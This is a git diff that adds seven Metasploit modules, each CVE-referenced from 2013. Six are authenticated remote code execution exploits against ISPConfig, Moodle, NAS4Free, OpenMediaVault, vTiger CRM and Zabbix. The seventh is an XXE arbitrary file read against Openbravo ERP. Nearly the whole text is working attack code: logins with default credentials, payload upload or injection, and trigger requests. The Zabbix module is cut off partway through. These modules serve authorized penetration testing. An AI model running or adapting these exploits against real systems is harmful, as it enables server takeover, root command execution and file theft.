parent
4b7a438d45
commit
5b76947767
|
@ -0,0 +1,134 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ISPConfig Authenticated Arbitrary PHP Code Execution',
|
||||
'Description' => %q{
|
||||
ISPConfig allows an authenticated administrator to export language settings into a PHP script
|
||||
which is intended to be reuploaded later to restore language settings. This feature
|
||||
can be abused to run aribtrary PHP code remotely on the ISPConfig server.
|
||||
|
||||
This module was tested against version 3.0.5.2.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-3629']
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "&\n=+%",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 30 2013'))
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base ISPConfig directory path", '/']),
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin']),
|
||||
OptString.new('LANGUAGE', [ true, "The language to use to trigger the payload", 'es'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
end
|
||||
|
||||
def lng
|
||||
datastore['LANGUAGE']
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
init = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php')
|
||||
})
|
||||
|
||||
if !init or init.code != 200
|
||||
fail_with("Error getting initial page.")
|
||||
end
|
||||
|
||||
sess = init.get_cookies
|
||||
|
||||
post = {
|
||||
'username' => datastore["USERNAME"],
|
||||
'passwort' => datastore["PASSWORD"],
|
||||
's_mod' => 'login',
|
||||
's_pg' => 'index'
|
||||
}
|
||||
|
||||
print_status("Authenticating as user: " << datastore["USERNAME"])
|
||||
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/content.php'),
|
||||
'vars_post' => post,
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !login or login.code != 200
|
||||
fail_with("Error authenticating.")
|
||||
end
|
||||
|
||||
sess = login.get_cookies
|
||||
fname = rand_text_alphanumeric(rand(10)+6) + '.lng'
|
||||
php = "---|ISPConfig Language File|3.0.5.2|#{lng}\n"
|
||||
php << "--|global|#{lng}|#{lng}.lng\n"
|
||||
php << "<?php \n"
|
||||
php << payload.encoded
|
||||
php << "?>\n"
|
||||
php << "--|mail|#{lng}|#{lng}.lng\n"
|
||||
php << "<?php"
|
||||
php << "?>"
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(php, 'application/x-php', nil, "form-data; name=\"file\"; filename=\"#{fname }\"")
|
||||
data.add_part('1', nil, nil, 'form-data; name="overwrite"')
|
||||
data.add_part('1', nil, nil, 'form-data; name="ignore_version"')
|
||||
data.add_part('', nil, nil, 'form-data; name="id"')
|
||||
|
||||
data_post = data.to_s
|
||||
|
||||
print_status("Sending payload")
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/language_import.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data_post,
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
post = {
|
||||
'lng_select' => 'es'
|
||||
}
|
||||
|
||||
print_status("Triggering payload...")
|
||||
send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/language_complete.php'),
|
||||
'vars_post' => post,
|
||||
'cookie' => sess
|
||||
})
|
||||
end
|
||||
end
|
|
@ -0,0 +1,162 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Moodle Remote Command Execution',
|
||||
'Description' => %q{
|
||||
Moodle allows an authenticated user to define spellcheck settings via the web interface.
|
||||
The user can update the spellcheck mechanism to point to a system-installed aspell binary.
|
||||
By updating the path for the spellchecker to an arbitrary command, an attacker can run
|
||||
arbitrary commands in the context of the web application upon spellchecking requests.
|
||||
|
||||
This module also allows an attacker to leverage another privilege escalation vuln.
|
||||
Using the referenced XSS vuln, an unprivileged authenticated user can steal an admin sesskey
|
||||
and use this to escalate privileges to that of an admin, allowing the module to pop a shell
|
||||
as a previously unprivileged authenticated user.
|
||||
|
||||
This module was tested against Moodle version 2.5.2 and 2.2.3.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.exploit-db.com/exploits/28174/'], #xss vuln allowing sesskey of admins to be stolen
|
||||
['CVE', '2013-3630']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl ruby bash telnet python',
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Automatic',{}]],
|
||||
'DisclosureDate' => 'Oct 30 2013',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
||||
OptString.new('PASSWORD', [ true, "Password to authenticate with", '']),
|
||||
OptString.new('SESSKEY', [ false, "The session key of the user to impersonate", ""]),
|
||||
OptString.new('TARGETURI', [ true, "The URI of the Moodle installation", '/moodle/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
init = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php')
|
||||
})
|
||||
|
||||
sess = init.get_cookies
|
||||
|
||||
post = {
|
||||
'username' => datastore["USERNAME"],
|
||||
'password' => datastore["PASSWORD"]
|
||||
}
|
||||
|
||||
print_status("Authenticating as user: " << datastore["USERNAME"])
|
||||
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/login/index.php'),
|
||||
'vars_post' => post,
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !login or login.code != 303
|
||||
fail_with("Login failed")
|
||||
end
|
||||
|
||||
sess = login.get_cookies
|
||||
|
||||
print_status("Getting session key to update spellchecker if no session key was specified")
|
||||
|
||||
sesskey = ''
|
||||
if datastore['SESSKEY'] == ''
|
||||
tinymce = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/settings.php') + '?section=editorsettingstinymce',
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
tinymce.body.each_line do |line|
|
||||
next if line !~ /name="sesskey"/
|
||||
sesskey = line[0..line.index('>')]
|
||||
end
|
||||
|
||||
if sesskey == ''
|
||||
fail_with("Unable to get proper session key")
|
||||
end
|
||||
|
||||
sesskey = REXML::Document.new sesskey
|
||||
sesskey = sesskey.root.attributes["value"]
|
||||
else
|
||||
sesskey = datastore['SESSKEY']
|
||||
end
|
||||
|
||||
post = {
|
||||
'section' => 'editorsettingstinymce',
|
||||
'sesskey' => sesskey,
|
||||
'return' => '',
|
||||
's_editor_tinymce_spellengine' => 'PSpellShell',
|
||||
's_editor_tinymce_spelllanguagelist' => '%2BEnglish%3Den%2CDanish%3Dda%2CDutch%3Dnl%2CFinnish%3Dfi%2CFrench%3Dfr%2CGerman%3Dde%2CItalian%3Dit%2CPolish%3Dpl%2CPortuguese%3Dpt%2CSpanish%3Des%2CSwedish%3Dsv'
|
||||
}
|
||||
|
||||
print_status("Updating spellchecker to use the system aspell")
|
||||
|
||||
post = {
|
||||
'section' => 'systempaths',
|
||||
'sesskey' => sesskey,
|
||||
'return' => '',
|
||||
's__gdversion' => '2',
|
||||
's__pathtodu' => '/usr/bin/du',
|
||||
's__aspellpath' => payload.encoded,
|
||||
's__pathtodot' => ''
|
||||
}
|
||||
|
||||
aspell = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/admin/settings.php'),
|
||||
'vars_post' => post,
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
spellcheck = '{"id":"c0","method":"checkWords","params":["en",[""]]}'
|
||||
|
||||
print_status("Triggering payload")
|
||||
|
||||
resp = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/lib/editor/tinymce/tiny_mce/3.4.9/plugins/spellchecker/rpc.php'),
|
||||
'data' => spellcheck,
|
||||
'ctype' => 'application/json',
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !resp or resp.code != 200
|
||||
fail_with("Error triggering payload")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,128 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NAS4Free Arbitrary Remote Code Execution',
|
||||
'Description' => %q{
|
||||
NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have
|
||||
the code executed remotely. This module was successfully tested against NAS4Free version
|
||||
9.1.0.1.804. Earlier builds are likely to be vulnerable as well.
|
||||
},
|
||||
'Author' => [
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-3631']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 21244,
|
||||
'DisableNops' => true,
|
||||
'BadChars' => ''
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic Target', { } ]
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'DisclosureDate' => 'Oct 30 2013',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options([
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
init = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/')
|
||||
})
|
||||
|
||||
sess = init.get_cookies
|
||||
|
||||
post = {
|
||||
'username' => datastore["USERNAME"],
|
||||
'password' => datastore["PASSWORD"]
|
||||
}
|
||||
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/login.php'),
|
||||
'vars_post' => post,
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !login or login.code != 302
|
||||
fail_with("Login failed")
|
||||
end
|
||||
|
||||
exec_resp = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/exec.php'),
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !exec_resp or exec_resp.code != 200
|
||||
fail_with('Error getting auth token from exec.php')
|
||||
end
|
||||
|
||||
authtoken = ''
|
||||
#The html returned is not well formed, so I can't parse it with rexml
|
||||
exec_resp.body.each_line do |line|
|
||||
next if line !~ /authtoken/
|
||||
authtoken = line
|
||||
end
|
||||
|
||||
doc = REXML::Document.new authtoken
|
||||
input = doc.root
|
||||
|
||||
if !input
|
||||
fail_with('Error getting auth token')
|
||||
end
|
||||
|
||||
token = input.attributes["value"]
|
||||
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('', nil, nil, 'form-data; name="txtCommand"')
|
||||
data.add_part('', nil, nil, 'form-data; name="txtRecallBuffer"')
|
||||
data.add_part('', nil, nil, 'form-data; name="dlPath"')
|
||||
data.add_part('', 'application/octet-stream', nil, 'form-data; name="ulfile"; filename=""')
|
||||
data.add_part(payload.encoded, nil, nil, 'form-data; name="txtPHPCommand"')
|
||||
#data.add_part(token, nil, nil, 'form-data; name="authtoken"')
|
||||
|
||||
#I need to build the last data part by hand due to a bug in rex
|
||||
data_post = data.to_s
|
||||
data_post = data_post[0..data_post.length-data.bound.length-7]
|
||||
|
||||
data_post << "\r\n--#{data.bound}"
|
||||
data_post << "\r\nContent-Disposition: form-data; name=\"authtoken\"\r\n\r\n"
|
||||
data_post << token
|
||||
data_post << "\r\n--#{data.bound}--\r\n\r\n"
|
||||
|
||||
resp = send_request_raw({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/exec.php'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data_post,
|
||||
'cookie' => sess
|
||||
})
|
||||
end
|
||||
end
|
|
@ -0,0 +1,118 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'net/dns'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Openbravo ERP XXE Arbitrary File Read',
|
||||
'Description' => %q{
|
||||
The Openbravo ERP XML API expands external entities which can be defined as
|
||||
local files. This allows the user to read any files from the FS as the
|
||||
user Openbravo is running as (generally not root).
|
||||
|
||||
This module was tested againt Openbravo ERP version 3.0MP25 and 2.50MP6.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Oct 30 2013'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base Openbravo directory path", '/openbravo/']),
|
||||
OptString.new('USERNAME', [true, "The Openbravo user", "Openbravo"]),
|
||||
OptString.new('PASSWORD', [true, "The Openbravo password", "openbravo"]),
|
||||
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
|
||||
OptString.new('ENDPOINT', [true, "The XML API REST endpoint to use", "ADUser"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Requesting list of entities from endpoint, this may take a minute...")
|
||||
users = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
}, 60)
|
||||
|
||||
if !users or users.code != 200
|
||||
fail_with("Invalid response. Check your credentials and that the server is correct.")
|
||||
end
|
||||
|
||||
xml = path = id = other_id = '' #for later use
|
||||
doc = REXML::Document.new users.body
|
||||
|
||||
doc.root.elements.each do |user|
|
||||
id = user.attributes["id"]
|
||||
other_id = user.attributes["identifier"]
|
||||
print_status("Found #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}")
|
||||
|
||||
print_status("Trying #{other_id}")
|
||||
xml = %Q{<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [
|
||||
<!ELEMENT comments ANY >
|
||||
<!ENTITY xxe SYSTEM "file://}
|
||||
|
||||
xml << "#{datastore['FILEPATH']}\" > ]>\n"
|
||||
xml << '<ob:Openbravo xmlns:ob="http://www.openbravo.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
|
||||
xml << "<#{datastore["ENDPOINT"]} id=\"#{id}\" identifier=\"#{other_id}\">"
|
||||
xml << "<id>#{id}</id>"
|
||||
xml << '<comments>&xxe;</comments>'
|
||||
xml << "</#{datastore["ENDPOINT"]}>"
|
||||
xml << '</ob:Openbravo>'
|
||||
|
||||
resp = send_request_raw({
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
|
||||
'data' => xml,
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
})
|
||||
|
||||
if !resp or resp.code != 200 or resp.body =~ /Not updating entity/
|
||||
print_error("Problem updating #{datastore["ENDPOINT"]} #{other_id} with ID: #{id}")
|
||||
next
|
||||
end
|
||||
|
||||
print_status("Found writeable #{datastore["ENDPOINT"]}: #{other_id}")
|
||||
|
||||
u = send_request_raw({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
})
|
||||
|
||||
u = REXML::Document.new u.body
|
||||
path = store_loot('openbravo.file','text/plain/', datastore['RHOST'], u.root.elements["//comments"].first.to_s, "File from Openbravo server #{datastore['RHOST']}")
|
||||
break
|
||||
end
|
||||
|
||||
if path != ''
|
||||
print_status("Cleaning up after ourselves...")
|
||||
|
||||
xml.sub!('&xxe;', '')
|
||||
|
||||
send_request_raw({
|
||||
'method' => 'PUT',
|
||||
'uri' => normalize_uri(target_uri.path, "/ws/dal/#{datastore["ENDPOINT"]}/#{id}"),
|
||||
'data' => xml,
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
})
|
||||
|
||||
print_good("File saved to: #{path}")
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,94 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'OpenMediaVault Cron Remote Command Execution',
|
||||
'Description' => %q{
|
||||
OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system.
|
||||
An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-3632']
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' => { 'WfsDelay' => 60 },
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl ruby bash telnet python',
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Automatic',{}]],
|
||||
'DisclosureDate' => 'Oct 30 2013',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
init = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php')
|
||||
})
|
||||
|
||||
sess = init.get_cookies
|
||||
post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"
|
||||
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
|
||||
'data' => post,
|
||||
'ctype' => 'application/json',
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !login or login.code != 200
|
||||
fail_with("Login failed")
|
||||
end
|
||||
|
||||
sess = login.get_cookies
|
||||
post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'
|
||||
post << payload.encoded.gsub('"', '\"')
|
||||
post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'
|
||||
|
||||
resp = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/rpc.php'),
|
||||
'data' => post,
|
||||
'ctype' => 'application/json',
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !resp or resp.code != 200
|
||||
fail_with("Posting cron failed.")
|
||||
end
|
||||
|
||||
print_status("Waiting for connect-back, this will take up to a minute")
|
||||
end
|
||||
end
|
|
@ -0,0 +1,127 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'vTigerCRM v5.4.0/v5.3.0 Authenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
vTiger CRM allows an authenticated user to upload files to embed within documents.
|
||||
Due to insufficient privileges on the 'files' upload folder, an attacker can upload a PHP
|
||||
script and execute aribtrary PHP code remotely.
|
||||
|
||||
This module was tested against vTiger CRM v5.4.0 and v5.3.0.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "&\n=+%",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', { } ],
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 30 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base vTiger CRM directory path", '/vtigercrm/']),
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", 'admin'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
res = nil
|
||||
begin
|
||||
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/index.php') })
|
||||
rescue
|
||||
print_error("Unable to access the index.php file")
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res and res.code != 200
|
||||
print_error("Error accessing the index.php file")
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.body =~ /<div class="poweredBy">Powered by vtiger CRM - (.*)<\/div>/i
|
||||
print_status("vTiger CRM version: " + $1)
|
||||
case $1
|
||||
when '5.4.0', '5.3.0'
|
||||
return CheckCode::Vulnerable
|
||||
else
|
||||
return CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
init = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php')
|
||||
})
|
||||
|
||||
sess = init.get_cookies
|
||||
|
||||
post = {
|
||||
'module' => 'Users',
|
||||
'action' => 'Authenticate',
|
||||
'return_module' => 'Users',
|
||||
'return_action' => 'Login',
|
||||
'user_name' => datastore['USERNAME'],
|
||||
'user_password' => datastore['PASSWORD']
|
||||
}
|
||||
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/index.php'),
|
||||
'vars_post' => post,
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
fname = rand_text_alphanumeric(rand(10)+6) + '.php3'
|
||||
cookies = login.get_cookies
|
||||
|
||||
php = %Q|<?php #{payload.encoded} ?>|
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part(php, 'application/x-php', nil, "form-data; name=\"upload\"; filename=\"#{fname}\"");
|
||||
data.add_part('files', nil, nil, 'form-data; name="dir"')
|
||||
|
||||
data_post = data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, '/kcfinder/browse.php?type=files&lng=en&act=upload'),
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data_post,
|
||||
'cookie' => cookies
|
||||
})
|
||||
if res and res.code == 200
|
||||
print_status("Triggering payload...")
|
||||
send_request_raw({'uri' => datastore["TARGETURI"] + "/test/upload/files/#{fname}"}, 5)
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,203 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Zabbix Authenticated Remote Command Execution',
|
||||
'Description' => %q{
|
||||
ZABBIX allows an administrator to create scripts that will be run on hosts.
|
||||
An authenticated attacker can create a script containing a payload, then a host
|
||||
with an IP of 127.0.0.1 and run the abitrary script on the ZABBIX host.
|
||||
|
||||
This module was tested againt Zabbix v2.0.9.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2013-3628']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl ruby bash telnet python',
|
||||
}
|
||||
},
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [['Automatic',{}]],
|
||||
'DisclosureDate' => 'Oct 30 2013',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'Admin']),
|
||||
OptString.new('PASSWORD', [ true, "Password to authenticate with", 'zabbix']),
|
||||
OptString.new('TARGETURI', [ true, "The URI of the Zabbix installation", '/zabbix/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def check
|
||||
init = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "/index.php")
|
||||
})
|
||||
|
||||
if !init or init.code != 200
|
||||
print_error("Could not connect to server")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if init.body =~ /Zabbix (2\.0\.(\d)) Copyright/
|
||||
if $1 >= "2.0.0" and $1 <= "2.0.8"
|
||||
print_good("Version #{$1} is vulnerable.")
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def exploit
|
||||
c = connect
|
||||
|
||||
req = c.request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => '/zabbix/',
|
||||
'data' => 'request=&name=' << datastore['USERNAME'] << '&password=' << datastore['PASSWORD'] << '&enter=Sign+in'
|
||||
})
|
||||
|
||||
login = c.send_recv(req.to_s.sub("Host:", "Host: " << datastore["RHOST"]))
|
||||
|
||||
if !login or login.code != 302
|
||||
fail_with("Login failed")
|
||||
end
|
||||
|
||||
sess = login.headers['Set-Cookie']
|
||||
|
||||
dash = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, '/dashboard.php'),
|
||||
'cookie' => sess
|
||||
})
|
||||
|
||||
if !dash or dash.code != 200
|
||||
fail_with("Dashboard failed")
|
||||
end
|
||||
|
||||
sid = ''
|
||||
dash.body.each_line do |line|
